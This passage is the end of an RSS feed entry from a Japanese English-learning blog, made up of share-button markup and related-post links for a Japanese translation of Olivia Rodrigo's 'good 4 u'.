class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F06%2F02%2Fgood4u%2F&amp;linkname=%E3%82%AA%E3%83%AA%E3%83%B4%E3%82%A3%E3%82%A2%E3%83%BB%E3%83%AD%E3%83%89%E3%83%AA%E3%82%B4%E3%80%8Cgood%204%20u%E3%80%8D%E5%92%8C%E8%A8%B3%E3%80%82%E3%81%99%E3%81%90%E3%81%AB%E6%96%B0%E3%81%97%E3%81%84%E5%BD%BC%E5%A5%B3%E3%81%B8%E3%81%A8%E4%B9%97%E3%82%8A%E6%8F%9B%E3%81%88%E3%81%9F%E5%BD%BC%E3%81%B8%E3%81%AE%E6%80%92%E3%82%8A%E3%82%92%E3%81%B6%E3%81%A4%E3%81%91%E3%81%9F%E8%A9%B1%E9%A1%8C%E6%9B%B2" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F06%2F02%2Fgood4u%2F&amp;linkname=%E3%82%AA%E3%83%AA%E3%83%B4%E3%82%A3%E3%82%A2%E3%83%BB%E3%83%AD%E3%83%89%E3%83%AA%E3%82%B4%E3%80%8Cgood%204%20u%E3%80%8D%E5%92%8C%E8%A8%B3%E3%80%82%E3%81%99%E3%81%90%E3%81%AB%E6%96%B0%E3%81%97%E3%81%84%E5%BD%BC%E5%A5%B3%E3%81%B8%E3%81%A8%E4%B9%97%E3%82%8A%E6%8F%9B%E3%81%88%E3%81%9F%E5%BD%BC%E3%81%B8%E3%81%AE%E6%80%92%E3%82%8A%E3%82%92%E3%81%B6%E3%81%A4%E3%81%91%E3%81%9F%E8%A9%B1%E9%A1%8C%E6%9B%B2" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F06%2F02%2Fgood4u%2F&amp;linkname=%E3%82%AA%E3%83%AA%E3%83%B4%E3%82%A3%E3%82%A2%E3%83%BB%E3%83%AD%E3%83%89%E3%83%AA%E3%82%B4%E3%80%8Cgood%204%20u%E3%80%8D%E5%92%8C%E8%A8%B3%E3%80%82%E3%81%99%E3%81%90%E3%81%AB%E6%96%B0%E3%81%97%E3%81%84%E5%BD%BC%E5%A5%B3%E3%81%B8%E3%81%A8%E4%B9%97%E3%82%8A%E6%8F%9B%E3%81%88%E3%81%9F%E5%BD%BC%E3%81%B8%E3%81%AE%E6%80%92%E3%82%8A%E3%82%92%E3%81%B6%E3%81%A4%E3%81%91%E3%81%9F%E8%A9%B1%E9%A1%8C%E6%9B%B2" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F06%2F02%2Fgood4u%2F&amp;linkname=%E3%82%AA%E3%83%AA%E3%83%B4%E3%82%A3%E3%82%A2%E3%83%BB%E3%83%AD%E3%83%89%E3%83%AA%E3%82%B4%E3%80%8Cgood%204%20u%E3%80%8D%E5%92%8C%E8%A8%B3%E3%80%82%E3%81%99%E3%81%90%E3%81%AB%E6%96%B0%E3%81%97%E3%81%84%E5%BD%BC%E5%A5%B3%E3%81%B8%E3%81%A8%E4%B9%97%E3%82%8A%E6%8F%9B%E3%81%88%E3%81%9F%E5%BD%BC%E3%81%B8%E3%81%AE%E6%80%92%E3%82%8A%E3%82%92%E3%81%B6%E3%81%A4%E3%81%91%E3%81%9F%E8%A9%B1%E9%A1%8C%E6%9B%B2" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2021%2F06%2F02%2Fgood4u%2F&#038;title=%E3%82%AA%E3%83%AA%E3%83%B4%E3%82%A3%E3%82%A2%E3%83%BB%E3%83%AD%E3%83%89%E3%83%AA%E3%82%B4%E3%80%8Cgood%204%20u%E3%80%8D%E5%92%8C%E8%A8%B3%E3%80%82%E3%81%99%E3%81%90%E3%81%AB%E6%96%B0%E3%81%97%E3%81%84%E5%BD%BC%E5%A5%B3%E3%81%B8%E3%81%A8%E4%B9%97%E3%82%8A%E6%8F%9B%E3%81%88%E3%81%9F%E5%BD%BC%E3%81%B8%E3%81%AE%E6%80%92%E3%82%8A%E3%82%92%E3%81%B6%E3%81%A4%E3%81%91%E3%81%9F%E8%A9%B1%E9%A1%8C%E6%9B%B2" data-a2a-url="https://ffeng.jp/2021/06/02/good4u/" data-a2a-title="オリヴィア・ロドリゴ「good 4 u」和訳。すぐに新しい彼女へと乗り換えた彼への怒りをぶつけた話題曲"></a></p><p>The post <a rel="nofollow" href="https://ffeng.jp/2021/06/02/good4u/">オリヴィア・ロドリゴ「good 4 u」和訳。すぐに新しい彼女へと乗り換えた彼への怒りをぶつけた話題曲</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/09/29/getstupid/' title='bülow 《Get Stupid》和訳　アメリカの学生パーティを覗き見しよう！'>
<img width="120" height="95" src="https://ffeng.jp/wp-content/uploads/2019/09/BULOW3_Compressed-1000x790.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2019/09/BULOW3_Compressed-1000x790.jpg 1000w, https://ffeng.jp/wp-content/uploads/2019/09/BULOW3_Compressed-1000x790-300x237.jpg 300w, https://ffeng.jp/wp-content/uploads/2019/09/BULOW3_Compressed-1000x790-768x607.jpg 768w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">bülow 《Get Stupid》和訳　アメリカの学生パーティを覗き見しよう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/15/talktalk/' title='チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-120x120.webp" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-120x120.webp 120w, https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-150x150.webp 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/12/03/mariah-carey__trashed/' title='クリスマスソングを歌ってみよう！マライヤ・キャリー「恋人たちのクリスマス」'>
<img width="120" height="80" src="https://ffeng.jp/wp-content/uploads/2019/12/A-couple-kissing-beneath-the-mistletoe.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2019/12/A-couple-kissing-beneath-the-mistletoe.jpg 810w, https://ffeng.jp/wp-content/uploads/2019/12/A-couple-kissing-beneath-the-mistletoe-300x200.jpg 300w, https://ffeng.jp/wp-content/uploads/2019/12/A-couple-kissing-beneath-the-mistletoe-768x511.jpg 768w, https://ffeng.jp/wp-content/uploads/2019/12/A-couple-kissing-beneath-the-mistletoe-600x399.jpg 600w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">クリスマスソングを歌ってみよう！マライヤ・キャリー「恋人たちのクリスマス」</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1493</post-id>	</item>
	</channel>
</rss>
